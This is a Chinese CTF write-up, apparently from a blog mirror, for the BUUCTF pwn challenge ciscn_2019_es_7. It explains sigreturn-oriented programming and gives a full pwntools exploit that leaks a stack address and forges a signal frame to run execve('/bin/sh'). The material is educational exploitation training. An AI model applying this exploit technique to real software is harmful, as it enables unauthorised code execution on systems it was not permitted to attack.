zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7

    附件

    步骤:

    1. 例行检查,64位程序,开启了nx保护
      在这里插入图片描述
    2. 本地试运行一下看看大概的情况
      在这里插入图片描述
    3. 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出
      在这里插入图片描述
    4. 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章
      https://www.freebuf.com/articles/network/87447.html
      https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr
    5. 具体的原理看上面的链接,贴一下第一篇文章里的知识点(有删改)
      如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。
      在这里插入图片描述
      在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame
      在这里插入图片描述
      在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

    Signal机制缺陷利用

    首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:

    第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;

    第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame

    按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!

    让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示
    在这里插入图片描述
    在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

    这是一个最简单的攻击。在这个攻击中,有4个前提条件:
    第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
    第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
    第三,需要知道syscall指令在内存中的地址;
    第四,需要知道sigreturn系统调用的内存地址。

    搞清楚上述的内容后就可以解出这道题了

    1. buf存在溢出,可以控制栈上的内容,满足了第一个条件
    2. 程序使用了一次read一次write,buf的大小只有0x10,但是write打印了0x30,会打印多余的东西,
    rax=0x4004f1
    
    p.send("/bin/sh"+"x00"*9+p64(rax))
    p.recv(32)
    stack_addr=u64(p.recv(8))
    log.success("stack: "+hex(stack_addr))
    p.recv(8)
    

    在这里插入图片描述

    我们先往buf里写入内容,write会打印出来,接收看一下,打印出来了多余的地址,我们接收一下就获得了栈上的地址
    找一下‘bin/sh’在栈上的地址
    在这里插入图片描述
    调试的时候使用info proc map命令查看当前进程的内存映射,find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh" 在栈中查找‘/bin/sh’的地址,找到它在栈上的地址是0x7ffe697e0160,与泄露出来的栈上的地址的偏移是0x7ffe697e0278-0x7ffe697e0160=0x118,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
    这里面就有了栈地址和bin/sh的地址,满足了第二个条件

    1. 找一下syscall;ret指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件
      在这里插入图片描述
    2. 找一下sigreturn系统调用的内存地址
      如果我们将sigreturn当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样一样的。
      发现程序里有现成的rax=15(调用sigreturn)和rax=59(调用execv),满足了第四个条件
      在这里插入图片描述
    3. 条件都满足了,接下来就可以用pwntools来帮助我们生成这个Signal Frame
    context(os='linux',arch='amd64',log_level='debug')
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = stack_addr - 0x118  
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rsp = stack_addr
    sigframe.rip = syscall_ret
    
    1. 最后利用溢出,完成SROP利用
    p.send("/bin/sh"+"x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
    

    完整exp:根据ctfwiki上的修改

    from pwn import *
    from LibcSearcher import *
    #context.arch='amd64'
    context(os='linux',arch='amd64',log_level='debug')
    
    p=process("./ciscn_2019_es_7")
    #p=remote('node3.buuoj.cn',26447)
    
    syscall_ret=0x400517
    sigreturn_addr=0x4004da
    system_addr=0x4004E2	
    
    rax=0x4004f1
    
    p.send("/bin/sh"+"x00"*9+p64(rax))
    p.recv(32)
    stack_addr=u64(p.recv(8))
    log.success("stack: "+hex(stack_addr))
    p.recv(8)
    
    #gdb.attach(p)
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = stack_addr - 0x118  
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rsp = stack_addr
    sigframe.rip = syscall_ret
    
    p.send("/bin/sh"+"x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
    
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    mySQL练习题
    JAVA实现C/S结构小程序
    JavaLinkedHashSet练习
    关于Extjs删除分页后删除最后一条数据页面无效的问题。
    hibernate 插入,更新数据库错误
    错误!错误!错误!
    坑爹的oracle
    关于hibernate实体类
    第一个项目的需求分析
    Ueditor 单独使用上传图片及上传附件方法
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273599.html
Copyright © 2011-2022 走看看